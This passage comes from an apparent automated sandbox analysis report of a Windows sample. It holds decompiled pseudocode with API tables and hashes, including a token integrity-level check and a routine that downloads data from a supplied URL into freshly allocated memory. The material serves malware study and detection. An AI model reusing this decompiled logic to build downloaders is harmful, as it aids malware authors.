											if(_v824[_v1092] < 0x20 || _v824[_v1092] > 0x7e) {
											} else {
												if(_v824[_v1092] != 0x2e) {
													_t124 = _v1092 + 1;
													__eflags = _t124;
													_v1092 = _t124;
													continue;
												} else {
													lstrcpynA( &_v820, _v824, _v1092 + 1);
													lstrcatA( &_v820, ".dll");
													lstrcpyA( &_v1084,  &(_v824[_v1092 + 1]));
													_v1085 = 1;
												}
											}
											break;
										}
										if((_v1085 & 0x000000ff) != 0) {
											_v8 = E040035E0( &_v820,  &_v1084);
										}
									}
									if(_v8 == 0 && _v552 != 0) {
										_v1096 = _v552 - _v556;
										_v8 = _v12 + _v1096;
									}
									VirtualFree(_v556, 0, 0x8000);
									VirtualFree(_v544, 0, 0x8000);
								}
							}
							CloseHandle(_v536);
						}
					}
				}
				return _v8;
			}

0x040035e9
0x040035fa
0x04003601
0x04003615
0x04003635
0x04003657
0x04003664
0x04003679
0x04003686
0x040036a2
0x040036a8
0x040036af
0x040036b5
0x040036dd
0x040036f9
0x04003712
0x04003725
0x04003732
0x0400374e
0x04003754
0x04003769
0x0400377f
0x04003787
0x040037a2
0x040037c6
0x040037e0
0x040037f2
0x04003799
0x04003799
0x0400379c
0x00000000
0x040037f4
0x0400380c
0x0400381e
0x0400383c
0x04003842
0x04003842
0x040037f2
0x00000000
0x040037c6
0x0400385d
0x04003875
0x04003875
0x0400385d
0x0400387c
0x04003893
0x040038a2
0x040038a2
0x040038b3
0x040038c7
0x040038c7
0x040036af
0x040038d4
0x040038d4
0x04003664
0x04003635
0x040038e0

APIs

GetModuleHandleA.KERNEL32(?), ref: 040035F4
GetModuleFileNameA.KERNEL32(00000000,?,00000207), ref: 0400362D
CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 04003651
GetFileSize.KERNEL32(000000FF,00000000), ref: 04003673
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0400369C
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 040036DD
lstrlenA.KERNEL32(?), ref: 0400371F
lstrcpynA.KERNEL32(?,?,-00000001), ref: 0400380C
lstrcatA.KERNEL32(?,.dll), ref: 0400381E
lstrcpyA.KERNEL32(?,?), ref: 0400383C
VirtualFree.KERNEL32(?,00000000,00008000), ref: 040038B3
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040038C7
CloseHandle.KERNEL32(000000FF), ref: 040038D4

Strings

.dll, xrefs: 04003812

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: File$Virtual$FreeHandleModule$AllocCloseCreateNameReadSizelstrcatlstrcpylstrcpynlstrlen
String ID: .dll
API String ID: 4040249471-2738580789
Opcode ID: 200bb4075ff646b41afc5d2470261fe04451761bc05d74db12b83caaac164272
Instruction ID: c2c5132629a25a5507b869beac9dac576087064a04ada7ddd23a517ed68c32e0
Opcode Fuzzy Hash: 200bb4075ff646b41afc5d2470261fe04451761bc05d74db12b83caaac164272
Instruction Fuzzy Hash: AC814EB5940228ABEB35DF50DC89BDDB7B5AB48304F1081D8EA09B7280D674AFC4CF55

Uniqueness

Uniqueness Score: -1.00%

Function 000F4C70 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E000F4C70(struct HWND__** __ecx, struct HWND__* __edx) {
				signed int _v8;
				signed int _v16;
				int _v24;
				long _v28;
				struct HWND__** _v32;
				long _v36;
				struct tagRECT _v64;
				struct tagRECT _v80;
				struct HWND__** _v84;
				long _v88;
				struct tagRECT _v104;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t48;
				struct HMONITOR__* _t53;
				intOrPtr _t72;
				int _t73;
				intOrPtr _t74;
				int _t75;
				int _t77;
				long _t84;
				struct HWND__* _t86;
				signed int _t88;
				void* _t91;
				void* _t92;
				void* _t93;
				int _t99;
				struct HWND__** _t106;
				long _t110;
				long _t113;
				struct HWND__** _t116;
				struct HWND__* _t117;
				int _t120;
				void* _t121;
				void* _t122;
				int _t123;
				struct HWND__* _t125;
				void* _t127;
				void* _t128;
				void* _t129;
				signed int _t130;

				_t108 = __edx;
				_t132 = (_t130 & 0xfffffff8) - 0x64;
				_t48 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t48 ^ (_t130 & 0xfffffff8) - 0x00000064;
				_t116 = __ecx;
				_v104.top = __ecx;
				_t125 = __edx;
				_t88 = GetWindowLongA( *__ecx, 0xfffffff0);
				if(_t125 == 0) {
					if((_t88 & 0x40000000) == 0) {
						_t108 =  *_t116;
						_t86 = GetWindow( *_t116, 4);
					} else {
						_t86 = GetParent( *_t116);
					}
					_t125 = _t86;
				}
				_t53 = GetWindowRect( *_t116,  &_v64);
				if((_t88 & 0x40000000) != 0) {
					_t117 = GetParent( *_t116);
					GetClientRect(_t117,  &_v80);
					GetClientRect(_t125,  &(_v104.right));
					MapWindowPoints(_t125, _t117,  &(_v104.right), 2);
					goto L19;
				} else {
					if(_t125 == 0) {
						L10:
						_t108 =  *_t116;
						_push(2);
						_push( *_t116);
					} else {
						_t53 = GetWindowLongA(_t125, 0xfffffff0);
						if((_t53 & 0x10000000) == 0 || (_t53 & 0x20000000) != 0) {
							_t125 = 0;
							goto L10;
						} else {
							_push(2);
							_push(_t125);
						}
					}
					__imp__MonitorFromWindow();
					if(_t53 != 0) {
						_v64.right.cbSize = 0x28;
						if(GetMonitorInfoA(_t53,  &(_v64.right)) == 0) {
							goto L12;
						} else {
							_t84 = _v36;
							_t106 = _v32;
							_t113 = _v28;
							_t123 = _v24;
							_v88 = _t84;
							_v84 = _t106;
							_v80.left = _t113;
							_v80.top = _t123;
							if(_t125 != 0) {
								GetWindowRect(_t125,  &_v104);
							} else {
								_v104.left = _t84;
								_v104.top = _t106;
								_v104.right.x = _t113;
								_v104.bottom = _t123;
							}
							L19:
							_t110 = _v104.right.x;
							_t127 = _v64.right.cbSize - _v64.left;
							asm("cdq");
							_t91 = _v64.bottom - _v64.top;
							asm("cdq");
							_t99 = (_v88 + _t110 - _t110 >> 1) - (_t127 - _t110 >> 1);
							asm("cdq");
							asm("cdq");
							_t120 = (_v104.bottom + _v84 - _t110 >> 1) - (_t91 - _t110 >> 1);
							_t72 = _v80.right;
							if(_t99 + _t127 > _t72) {
								_t99 = _t72 - _t127;
							}
							_t73 = _v80.left;
							if(_t99 < _t73) {
								_t99 = _t73;
							}
							_t74 = _v80.bottom;
							_t112 = _t120 + _t91;
							if(_t120 + _t91 > _t74) {
								_t120 = _t74 - _t91;
							}
							_t75 = _v80.top;
							if(_t120 < _t75) {
								_t120 = _t75;
							}
							_t77 = SetWindowPos( *(_v104.top), 0, _t99, _t120, 0xffffffff, 0xffffffff, 0x15);
							_pop(_t121);
							_pop(_t128);
							_pop(_t92);
							return E001059E6(_t77, _t92, _v8 ^ _t132, _t112, _t121, _t128);
						}
					} else {
						L12:
						_pop(_t122);
						_pop(_t129);
						_pop(_t93);
						return E001059E6(0, _t93, _v16 ^ _t132, _t108, _t122, _t129);
					}
				}
			}

0x000f4c70
0x000f4c76
0x000f4c79
0x000f4c80
0x000f4c87
0x000f4c8e
0x000f4c92
0x000f4c9a
0x000f4c9e
0x000f4ca6
0x000f4cb3
0x000f4cb8
0x000f4ca8
0x000f4cab
0x000f4cab
0x000f4cbe
0x000f4cbe
0x000f4cc8
0x000f4cd4
0x000f4d8e
0x000f4d92
0x000f4d9a
0x000f4da5
0x00000000
0x000f4cda
0x000f4cdc
0x000f4cf7
0x000f4cf7
0x000f4cf9
0x000f4cfb
0x000f4cde
0x000f4ce1
0x000f4cec
0x000f4cf5
0x00000000
0x000f4d1a
0x000f4d1a
0x000f4d1c
0x000f4d1c
0x000f4cec
0x000f4cfc
0x000f4d04
0x000f4d25
0x000f4d35
0x00000000
0x000f4d37
0x000f4d37
0x000f4d3b
0x000f4d3f
0x000f4d43
0x000f4d47
0x000f4d4b
0x000f4d4f
0x000f4d53
0x000f4d59
0x000f4d73
0x000f4d5b
0x000f4d5b
0x000f4d5f
0x000f4d63
0x000f4d67
0x000f4d67
0x000f4dab
0x000f4dab
0x000f4db7
0x000f4dbe
0x000f4dc5
0x000f4dcd
0x000f4dd4
0x000f4dde
0x000f4de5
0x000f4dec
0x000f4dee
0x000f4df7
0x000f4dfb
0x000f4dfb
0x000f4dfd
0x000f4e03
0x000f4e05
0x000f4e05
0x000f4e07
0x000f4e0b
0x000f4e10
0x000f4e14
0x000f4e14
0x000f4e16
0x000f4e1c
0x000f4e1e
0x000f4e1e
0x000f4e31
0x000f4e3b
0x000f4e3c
0x000f4e3d
0x000f4e48
0x000f4e48
0x000f4d06
0x000f4d06
0x000f4d08
0x000f4d09
0x000f4d0a
0x000f4d19
0x000f4d19
0x000f4d04

APIs

GetWindowLongA.USER32 ref: 000F4C94
GetParent.USER32 ref: 000F4CAB
GetWindow.USER32(?,00000004), ref: 000F4CB8
GetWindowRect.USER32 ref: 000F4CC8
GetWindowLongA.USER32 ref: 000F4CE1
MonitorFromWindow.USER32(?,00000002), ref: 000F4CFC
GetMonitorInfoA.USER32 ref: 000F4D2D
GetWindowRect.USER32 ref: 000F4D73
SetWindowPos.USER32(?,00000000,?,00000002,000000FF,000000FF,00000015,?,00000000,?,00000002,?,?,?,?), ref: 000F4E31

Strings

(, xrefs: 000F4D25

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Window$LongMonitorRect$FromInfoParent
String ID: (
API String ID: 1468510684-3887548279
Opcode ID: 27338e28d6f1f507e9ea4b542998fe6ba8617392944cba65e40f05be6d727e60
Instruction ID: beb3060789635822ab35c225702c2077ed06111c82c739af96991752938708c8
Opcode Fuzzy Hash: 27338e28d6f1f507e9ea4b542998fe6ba8617392944cba65e40f05be6d727e60
Instruction Fuzzy Hash: 235179716083059FC354CF28D988A6BB7EABBC8714F104A2DFA55C3694EB70EC458B92

Uniqueness

Uniqueness Score: -1.00%

Function 0252B1B7 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?), ref: 0252B1D1
OpenProcessToken.ADVAPI32(00000000), ref: 0252B1D8
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 0252B201
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),?,00000400,00000400), ref: 0252B23E
CreateWellKnownSid.ADVAPI32(0000000C,00000000,?,00000044), ref: 0252B274
EqualSid.ADVAPI32(?,00000000), ref: 0252B28A
CreateWellKnownSid.ADVAPI32(00000016,00000000,?,00000044), ref: 0252B2AD
EqualSid.ADVAPI32(?), ref: 0252B2C3
CloseHandle.KERNEL32(?), ref: 0252B341

Strings

D, xrefs: 0252B258

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Token$CreateEqualInformationKnownProcessWell$CloseCurrentHandleOpen
String ID: D
API String ID: 98007406-2746444292
Opcode ID: 9acdad6d6c89bf527d7a7d290df755143e04e7f41d5340071806561b0adaf72d
Instruction ID: 91f868651a1bcb0868eabc6d0969d515e538b25d35ca389a9f27be82e5004dad
Opcode Fuzzy Hash: 9acdad6d6c89bf527d7a7d290df755143e04e7f41d5340071806561b0adaf72d
Instruction Fuzzy Hash: AE410F75A042189BEB24CF94CC45FDAB7BCFF48704F04C1A4E649A6280DB749A86DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04002AF0 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 201
networkmemoryfileCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E04002AF0(char* _a4, intOrPtr _a8, long _a12, signed char _a16) {
				long _v8;
				char _v84;
				void* _v88;
				signed int _v92;
				long _v96;
				void _v100;
				void _v356;
				long _v360;
				long _v364;
				intOrPtr _v368;
				void* _v372;
				long _v376;
				void* _v380;
				signed char _v381;
				long _v388;
				long _v392;
				void* _v396;
				char _v652;
				long _v656;
				long _v660;
				void* _t139;
				void* _t140;
				void* _t142;
				long _t149;

				_v8 = 0;
				if( *0x4013b80 == 0 || _a4 == 0 || _a8 == 0 || _a12 == 0) {
					L25:
					return _v8;
				} else {
					memcpy( &_v84, "Accept: */*\r\nAccept-Language: en\r\nAccept-Encoding: gzip, deflate\r\n", 0x10 << 2);
					asm("movsw");
					asm("movsb");
					_v92 = 0x80000200;
					if((_a16 & 0x000000ff) != 0) {
						_v92 = _v92 | 0x00803000;
						_v96 = 4;
						_t139 =  *0x4013b80; // 0x0
						InternetQueryOptionA(_t139, 0x1f,  &_v100,  &_v96);
						_v100 = _v100 | 0x00000100;
						_t140 =  *0x4013b80; // 0x0
						InternetSetOptionA(_t140, 0x1f,  &_v100, 4);
					}
					_t142 =  *0x4013b80; // 0x0
					_v88 = InternetOpenUrlA(_t142, _a4,  &_v84, 0x42, _v92, 0);
					if(_v88 == 0) {
						_v660 = GetLastError();
						goto L25;
					} else {
						_v360 = 0x100;
						E04007D20( &_v356,  &_v356, 0, 0x100);
						_v364 = 0;
						if(HttpQueryInfoA(_v88, 0x13,  &_v356,  &_v360,  &_v364) == 0) {
							L23:
							InternetCloseHandle(_v88);
							goto L25;
						}
						_v368 = E04007DD0( &_v356);
						if(_v368 != 0xc8) {
							goto L23;
						}
						_v372 = VirtualAlloc(0, _a12, 0x3000, 4);
						if(_v372 == 0) {
							goto L23;
						}
						_v388 = 0;
						_v376 = 0;
						_v380 = _v372;
						while(1) {
							InternetReadFile(_v88, _v380, _a12,  &_v376);
							if(_v376 == 0) {
								break;
							}
							_v388 = _v388 + _v376;
							_v380 = _v380 + _v376;
							_t149 = _a12 - _v376;
							_a12 = _t149;
							if(_t149 >= 0) {
								continue;
							}
							L16:
							_v8 = _v388;
							_v396 = _v372;
							_v392 = 0x100;
							E04007D20(_v388,  &_v652, 0, 0x100);
							_v381 = 0;
							if(HttpQueryInfoA(_v88, 0x1d,  &_v652,  &_v392,  &_v364) != 0 && lstrcmpiA( &_v652, "gzip") == 0) {
								_v656 = E04002E00(_v388, _v372, _v388, _a8, _a12);
								if(_v656 > 0) {
									_v8 = _v656;
									_v396 = _a8;
									_v381 = 1;
								}
							}
							if((_v381 & 0x000000ff) == 0) {
								E04007B70(_a8, _v372, _v8);
							}
							VirtualFree(_v372, 0, 0x8000);
							goto L23;
						}
						goto L16;
					}
				}
			}

0x04002afb
0x04002b09
0x04002df2
0x04002dfa
0x04002b2d
0x04002b3a
0x04002b3c
0x04002b3e
0x04002b3f
0x04002b4c
0x04002b57
0x04002b5a
0x04002b6b
0x04002b72
0x04002b81
0x04002b8c
0x04002b93
0x04002b93
0x04002ba9
0x04002bb6
0x04002bbd
0x04002de0
0x00000000
0x04002bc3
0x04002bc3
0x04002bdb
0x04002be3
0x04002c10
0x04002dce
0x04002dd2
0x00000000
0x04002dd2
0x04002c25
0x04002c35
0x00000000
0x00000000
0x04002c4e
0x04002c5b
0x00000000
0x00000000
0x04002c61
0x04002c6b
0x04002c7b
0x04002c81
0x04002c97
0x04002ca4
0x00000000
0x00000000
0x04002cb4
0x04002cc6
0x04002ccf
0x04002cd5
0x04002cd8
0x00000000
0x04002cdc
0x04002cde
0x04002ce4
0x04002ced
0x04002cf3
0x04002d0b
0x04002d13
0x04002d3d
0x04002d70
0x04002d7d
0x04002d85
0x04002d8b
0x04002d91
0x04002d91
0x04002d7d
0x04002da1
0x04002db2
0x04002db7
0x04002dc8
0x00000000
0x04002dc8
0x00000000
0x04002ca6
0x04002bbd

APIs

InternetQueryOptionA.WININET(00000000,0000001F,?,00000004), ref: 04002B72
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 04002B93
InternetOpenUrlA.WININET(00000000,00000000,?,00000042,80000200,00000000), ref: 04002BB0
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 04002C08
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04002C48
InternetReadFile.WININET(00000000,?,00000000,00000000), ref: 04002C97
HttpQueryInfoA.WININET(00000000,0000001D,?,00000100,00000000), ref: 04002D35
lstrcmpiA.KERNEL32(?,gzip), ref: 04002D4B
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04002DC8
InternetCloseHandle.WININET(00000000), ref: 04002DD2
GetLastError.KERNEL32 ref: 04002DDA

Strings

Accept: */*Accept-Language: enAccept-Encoding: gzip, deflate, xrefs: 04002B32
gzip, xrefs: 04002D3F

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Internet$Query$HttpInfoOptionVirtual$AllocCloseErrorFileFreeHandleLastOpenReadlstrcmpi
String ID: Accept: */*Accept-Language: enAccept-Encoding: gzip, deflate$gzip
API String ID: 2564233093-2863726208
Opcode ID: 726b61e79d92e4b1ea791cc461ac74fab5e679057ddcff3c63822b6443729a61
Instruction ID: 59e70dbda308a2a2546c0d296605ce979221f8659c43edef85f985c08622dbb4
Opcode Fuzzy Hash: 726b61e79d92e4b1ea791cc461ac74fab5e679057ddcff3c63822b6443729a61
Instruction Fuzzy Hash: 6B91FC75904218ABEB65CF94CC48BEAB7B5BB48304F50819DE609BB280DB796E84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000FE5F0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 184
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E000FE5F0(struct HMENU__* __ecx, unsigned int __edx, intOrPtr _a4, int _a8, struct HMENU__** _a12) {
				struct HMENU__* _v8;
				char _v16;
				signed int _v24;
				struct _OSVERSIONINFOA _v176;
				struct HMENU__** _v180;
				struct HMENU__* _v184;
				intOrPtr _v188;
				struct tagMENUITEMINFOA _v236;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t60;
				signed int _t61;
				intOrPtr _t67;
				int _t68;
				int _t72;
				struct HMENU__* _t74;
				int _t75;
				int _t77;
				intOrPtr _t81;
				struct HMENU__* _t84;
				int _t86;
				void* _t98;
				int _t100;
				signed char _t102;
				signed int _t107;
				intOrPtr _t115;
				intOrPtr _t119;
				void* _t120;
				struct HMENU__* _t122;
				void* _t126;
				struct HMENU__* _t127;
				CHAR** _t128;
				signed int _t130;
				void* _t131;
				void* _t132;

				_t114 = __edx;
				_push(0xffffffff);
				_push(E0010F5E5);
				_push( *[fs:0x0]);
				_t132 = _t131 - 0xe0;
				_t60 =  *0x159060; // 0x1f9a9bdf
				_t61 = _t60 ^ _t130;
				_v24 = _t61;
				_push(_t61);
				 *[fs:0x0] =  &_v16;
				_t97 = __ecx;
				_t124 = __edx;
				_t119 = _a4;
				_t102 =  *(_t119 + 0x84);
				_v188 = _t119;
				_v180 = _a12;
				if((_t102 & 0x00000002) != 0) {
					__eflags = __edx >> 0x10 - 0xffff;
					if(__edx >> 0x10 != 0xffff) {
						L8:
						 *_v180 = 0;
						 *[fs:0x0] = _v16;
						_pop(_t120);
						_pop(_t126);
						_pop(_t98);
						return E001059E6(1, _t98, _v24 ^ _t130, _t114, _t120, _t126);
					}
					__eflags = __ecx;
					if(__ecx != 0) {
						goto L8;
					}
					__eflags = _t102 & 0x00000004;
					if((_t102 & 0x00000004) == 0) {
						goto L8;
					}
					while(1) {
						_t67 =  *((intOrPtr*)(_t119 + 0x18));
						_t23 = _t67 - 1; // -1
						_t107 = _t23;
						__eflags = _t107;
						if(_t107 < 0) {
							goto L8;
						}
						_t115 =  *((intOrPtr*)(_t119 + 0x14));
						_t127 =  *(_t115 + _t107 * 4);
						_t114 = _t115 + _t107 * 4;
						_v184 = _t127;
						__eflags = _t107 - _t67;
						if(_t107 >= _t67) {
							goto L8;
						}
						_t30 = _t67 - 1; // -1
						__eflags = _t107 - _t30;
						if(_t107 != _t30) {
							_t84 = _t67 - _t107 + _t67 - _t107 + _t67 - _t107 + _t67 - _t107;
							__eflags = _t84;
							_t31 = _t84 - 4; // -4
							E000F1240(_t84, _t114, _t84, _t114 + 4, _t31);
							_t132 = _t132 + 0x10;
						}
						 *((intOrPtr*)(_t119 + 0x18)) =  *((intOrPtr*)(_t119 + 0x18)) - 1;
						_t100 = 0;
						__eflags = _t127;
						if(_t127 == 0) {
							goto L8;
						} else {
							_v8 = 0;
							_t68 = GetMenuItemCount(_t127);
							__eflags = _t68;
							if(_t68 <= 0) {
								L29:
								_v8 = 0xffffffff;
								continue;
							} else {
								goto L19;
							}
							do {
								L19:
								E00106820( &_v236, 0, 0x30);
								_v236.cbSize = 0x30;
								E00106820( &(_v176.dwMajorVersion), 0, 0x90);
								_t132 = _t132 + 0x18;
								_v176.dwOSVersionInfoSize = 0x94;
								_t72 = GetVersionExA( &_v176);
								__eflags = _t72;
								if(_t72 == 0) {
									L23:
									_v236.cbSize = 0x2c;
									goto L24;
								}
								_t81 = _v176.dwMajorVersion;
								__eflags = _t81 - 5;
								if(_t81 >= 5) {
									goto L24;
								}
								__eflags = _t81 - 4;
								if(_t81 != 4) {
									goto L23;
								}
								__eflags = _v176.dwMinorVersion - 0x5a;
								if(_v176.dwMinorVersion >= 0x5a) {
									goto L24;
								}
								goto L23;
								L24:
								_t114 =  &_v236;
								_v236.fMask = 0x30;
								GetMenuItemInfoA(_t127, _t100, 1,  &_v236);
								_t74 = _v236.dwItemData;
								_t122 = _t74;
								__eflags = _t74;
								if(_t74 != 0) {
									__eflags = _t74->i - 0x1313;
									if(_t74->i == 0x1313) {
										_v236.fMask = 0x31;
										_t128 = _t74 + 4;
										_v236.fType =  *((intOrPtr*)(_t74 + 8));
										_v236.dwTypeData =  *_t128;
										_t77 = lstrlenA( *_t128);
										_t114 = _v184;
										_v236.cch = _t77;
										_v236.dwItemData = 0;
										SetMenuItemInfoA(_v184, _t100, 1,  &_v236);
										_push( *_t128);
										E001062C2();
										_push(_t122);
										_t122->i = 0x6666;
										E001059DB();
										_t127 = _v184;
										_t132 = _t132 + 8;
									}
								}
								_t100 = _t100 + 1;
								_t75 = GetMenuItemCount(_t127);
								__eflags = _t100 - _t75;
							} while (_t100 < _t75);
							_t119 = _v188;
							goto L29;
						}
					}
					goto L8;
				}
				if(__ecx == 0 || __ecx ==  *((intOrPtr*)(_t119 + 0x44))) {
					L5:
					_t86 = 0;
					__eflags = 0;
					goto L6;
				} else {
					_t114 = __edx >> 0x10;
					if((__edx >> 0x00000010 & 0x00000010) == 0) {
						goto L5;
					} else {
						_t86 = 1;
						L6:
						 *(_t119 + 0x84) = (_t86 + _t86 + _t86 + _t86 + _t86 + _t86 + _t86 + _t86 ^ _t102) & 0x00000008 ^ _t102;
						if(IsWindow( *(_t119 + 0x5c)) != 0) {
							_t114 =  *(_t119 + 0x5c);
							SendMessageA( *(_t119 + 0x5c), _a8, _t124, _t97);
						}
						goto L8;
					}
				}
			}

0x000fe5f0
0x000fe5f3
0x000fe5f5
0x000fe600
0x000fe601
0x000fe607
0x000fe60c
0x000fe60e
0x000fe614
0x000fe618
0x000fe61e
0x000fe620
0x000fe622
0x000fe625
0x000fe62e
0x000fe634
0x000fe63d
0x000fe6b8
0x000fe6be
0x000fe686
0x000fe68c
0x000fe69a
0x000fe6a2
0x000fe6a3
0x000fe6a4
0x000fe6b2
0x000fe6b2
0x000fe6c0
0x000fe6c2
0x00000000
0x00000000
0x000fe6c4
0x000fe6c7
0x00000000
0x00000000
0x000fe6d0
0x000fe6d0
0x000fe6d3
0x000fe6d3
0x000fe6d6
0x000fe6d8
0x00000000
0x00000000
0x000fe6da
0x000fe6dd
0x000fe6e0
0x000fe6e3
0x000fe6e9
0x000fe6eb
0x00000000
0x00000000
0x000fe6ed
0x000fe6f0
0x000fe6f2
0x000fe6f8
0x000fe6f8
0x000fe6fa
0x000fe704
0x000fe709
0x000fe709
0x000fe70c
0x000fe70f
0x000fe711
0x000fe713
0x00000000
0x000fe719
0x000fe71a
0x000fe71d
0x000fe723
0x000fe725
0x000fe845
0x000fe845
0x00000000
0x00000000
0x00000000
0x00000000
0x000fe72b
0x000fe72b
0x000fe73a
0x000fe74d
0x000fe753
0x000fe758
0x000fe762
0x000fe76c
0x000fe772
0x000fe774
0x000fe78f
0x000fe78f
0x00000000
0x000fe78f
0x000fe776
0x000fe77c
0x000fe77f
0x00000000
0x00000000
0x000fe781
0x000fe784
0x00000000
0x00000000
0x000fe786
0x000fe78d
0x00000000
0x00000000
0x00000000
0x000fe799
0x000fe799
0x000fe7a4
0x000fe7aa
0x000fe7b0
0x000fe7b6
0x000fe7b8
0x000fe7ba
0x000fe7bc
0x000fe7c2
0x000fe7c4
0x000fe7d1
0x000fe7d4
0x000fe7dc
0x000fe7e5
0x000fe7eb
0x000fe7fc
0x000fe802
0x000fe80c
0x000fe814
0x000fe815
0x000fe81a
0x000fe81b
0x000fe821
0x000fe826
0x000fe82c
0x000fe82c
0x000fe7c2
0x000fe830
0x000fe831
0x000fe837
0x000fe837
0x000fe83f
0x00000000
0x000fe83f
0x000fe713
0x00000000
0x000fe6d0
0x000fe641
0x000fe654
0x000fe654
0x000fe654
0x00000000
0x000fe648
0x000fe648
0x000fe64e
0x00000000
0x000fe650
0x000fe650
0x000fe656
0x000fe662
0x000fe674
0x000fe679
0x000fe680
0x000fe680
0x00000000
0x000fe674
0x000fe64e

APIs

IsWindow.USER32(?), ref: 000FE66C
SendMessageA.USER32(?,?,?,?), ref: 000FE680
GetMenuItemCount.USER32 ref: 000FE71D
_memset.LIBCMT ref: 000FE73A
_memset.LIBCMT ref: 000FE753
GetVersionExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 000FE76C
GetMenuItemInfoA.USER32 ref: 000FE7AA
lstrlenA.KERNEL32(?), ref: 000FE7E5
SetMenuItemInfoA.USER32(?,00000000,00000001,0000002C), ref: 000FE80C
GetMenuItemCount.USER32 ref: 000FE831

Strings

,, xrefs: 000FE78F
Z, xrefs: 000FE786
1, xrefs: 000FE7C4

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: ItemMenu$CountInfo_memset$MessageSendVersionWindowlstrlen
String ID: ,$1$Z
API String ID: 1539385232-2998721434
Opcode ID: 8a164f3c3661c2847449c45f1a98640a6bd616defe655edd6cd7a47e7ce51ac8
Instruction ID: 177ca835cb94f1ae14aa2e8741ddb03f2f0adb27afb680cd9c8a21e0ce399481
Opcode Fuzzy Hash: 8a164f3c3661c2847449c45f1a98640a6bd616defe655edd6cd7a47e7ce51ac8
Instruction Fuzzy Hash: 4C61AC71A00359AFDB24DF14CC84BEEB7B9FF14350F1081A9EA09A7691D770AE85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 000F4F00 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 137
registryCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E000F4F00(WNDCLASSEXA* __ebx, intOrPtr* _a4) {
				CHAR* _v12;
				intOrPtr _v16;
				struct HINSTANCE__* _v20;
				char _v64;
				void _v68;
				void _v116;
				int _t54;
